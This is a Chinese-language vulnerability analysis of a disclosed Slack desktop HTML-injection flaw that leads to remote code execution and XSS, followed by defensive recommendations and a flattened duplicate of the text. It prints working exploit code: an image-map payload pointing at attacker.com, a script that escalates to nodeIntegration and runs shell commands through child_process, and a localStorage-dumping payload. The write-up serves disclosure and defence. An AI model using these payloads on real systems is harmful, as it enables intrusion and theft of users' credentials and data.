挖洞经验 | Slack桌面应用程序的RCE漏洞+XSS漏洞
字数 1119 2025-08-15 21:31:54

Slack桌面应用程序RCE与XSS漏洞分析报告

漏洞概述

Slack桌面应用程序存在HTML注入漏洞,可导致远程代码执行(RCE)和跨站脚本攻击(XSS)。攻击者可通过构造特殊的HTML注入Payload,绕过Slack的安全控制措施,在受害者机器上执行任意代码或窃取敏感信息。

漏洞利用链

攻击流程

  1. 攻击者准备阶段

    • 构造包含RCE payload的文件
    • 准备上传到Slack服务端
  2. HTML注入构造

    • 以HTML注入方式构造Slack发贴(Post)
    • 将恶意发贴分享到频道或其他用户
  3. 受害者触发

    • 受害者点击攻击者构造的迷惑图片
    • RCE payload执行,控制受害者机器

技术细节

1. JSON形式构造Slack发贴

创建Slack发贴时,会向https://files.slack.com发送JSON格式请求。通过/api/files.info路径可获取发贴文件的特定URL链接:

https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE

2. HTML注入Payload构造

绕过CSP限制的有效Payload:


<map name="slack-img">
    <area shape="rect" coords="10000,10000 0,0" 
          href="https://attacker.com/t.html" target="_self">
</map>

关键点

  • 需要预先在Slack上传一张图片作为载体
  • 利用<area>标签绕过HTML过滤
  • target="_self"确保在当前窗口打开恶意链接

3. RCE漏洞利用代码(t.html)

<html><body><script>
// 重写函数获取BrowserWindow对象
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')

// 创建具有nodeIntegration权限的新窗口
nbw = new bw.constructor({
    show: false, 
    webPreferences: {nodeIntegration: true}
})

// 加载空白页并执行任意命令
nbw.loadURL('about:blank')
nbw.webContents.executeJavaScript(
    'this.require("child_process").exec("open /Applications/Calculator.app")'
)
</script></body></html>

4. 敏感数据窃取Payload

<html><body><script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false})
nbw.loadURL('https://app.slack.com/robots.txt')
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script></body></html>

相关XSS漏洞

Slack邮件内容无过滤存储在https://files.slack.com,可直接以text/html方式响应。攻击者可构造包含RCE Payload的邮件链接,无需托管在攻击者服务器上。

漏洞危害

RCE漏洞危害

  1. 敏感数据泄露

    • 获取受害者密钥、密码凭据
    • 窃取内部网络架构信息
    • 获取Slack私信会话和传递文件
  2. 系统控制

    • 执行任意系统命令
    • 安装恶意软件或后门
  3. 传播风险

    • 可能形成"蠕虫级"攻击
    • 在企业内部快速扩散

XSS漏洞危害

  1. 可信页面伪造

    • 构造*.slack.com路径下的任意HTML内容
    • 创建假冒登录页面进行钓鱼攻击
  2. 持久化存储

    • 存储RCE漏洞利用代码
    • 长期潜伏等待触发

防御建议

  1. 输入过滤

    • 严格过滤用户输入的HTML内容
    • 禁用危险标签如<area><map>
  2. 安全策略加强

    • 强化CSP策略
    • 限制BrowserWindow的创建和使用
  3. 权限控制

    • 禁用不必要的nodeIntegration权限
    • 实施最小权限原则
  4. 内容安全

    • 对邮件内容进行HTML过滤
    • 限制文件类型的上传和解析
  5. 监控与响应

    • 监控异常的文件上传和分享行为
    • 建立快速响应机制

参考链接

原始漏洞报告:https://hackerone.com/reports/783877

Slack桌面应用程序RCE与XSS漏洞分析报告 漏洞概述 Slack桌面应用程序存在HTML注入漏洞,可导致远程代码执行(RCE)和跨站脚本攻击(XSS)。攻击者可通过构造特殊的HTML注入Payload,绕过Slack的安全控制措施,在受害者机器上执行任意代码或窃取敏感信息。 漏洞利用链 攻击流程 攻击者准备阶段 : 构造包含RCE payload的文件 准备上传到Slack服务端 HTML注入构造 : 以HTML注入方式构造Slack发贴(Post) 将恶意发贴分享到频道或其他用户 受害者触发 : 受害者点击攻击者构造的迷惑图片 RCE payload执行,控制受害者机器 技术细节 1. JSON形式构造Slack发贴 创建Slack发贴时,会向 https://files.slack.com 发送JSON格式请求。通过 /api/files.info 路径可获取发贴文件的特定URL链接: 2. HTML注入Payload构造 绕过CSP限制的有效Payload: 关键点 : 需要预先在Slack上传一张图片作为载体 利用 <area> 标签绕过HTML过滤 target="_self" 确保在当前窗口打开恶意链接 3. RCE漏洞利用代码(t.html) 4. 敏感数据窃取Payload 相关XSS漏洞 Slack邮件内容无过滤存储在 https://files.slack.com ,可直接以 text/html 方式响应。攻击者可构造包含RCE Payload的邮件链接,无需托管在攻击者服务器上。 漏洞危害 RCE漏洞危害 敏感数据泄露 : 获取受害者密钥、密码凭据 窃取内部网络架构信息 获取Slack私信会话和传递文件 系统控制 : 执行任意系统命令 安装恶意软件或后门 传播风险 : 可能形成"蠕虫级"攻击 在企业内部快速扩散 XSS漏洞危害 可信页面伪造 : 构造 *.slack.com 路径下的任意HTML内容 创建假冒登录页面进行钓鱼攻击 持久化存储 : 存储RCE漏洞利用代码 长期潜伏等待触发 防御建议 输入过滤 : 严格过滤用户输入的HTML内容 禁用危险标签如 <area> 、 <map> 安全策略加强 : 强化CSP策略 限制 BrowserWindow 的创建和使用 权限控制 : 禁用不必要的nodeIntegration权限 实施最小权限原则 内容安全 : 对邮件内容进行HTML过滤 限制文件类型的上传和解析 监控与响应 : 监控异常的文件上传和分享行为 建立快速响应机制 参考链接 原始漏洞报告:https://hackerone.com/reports/783877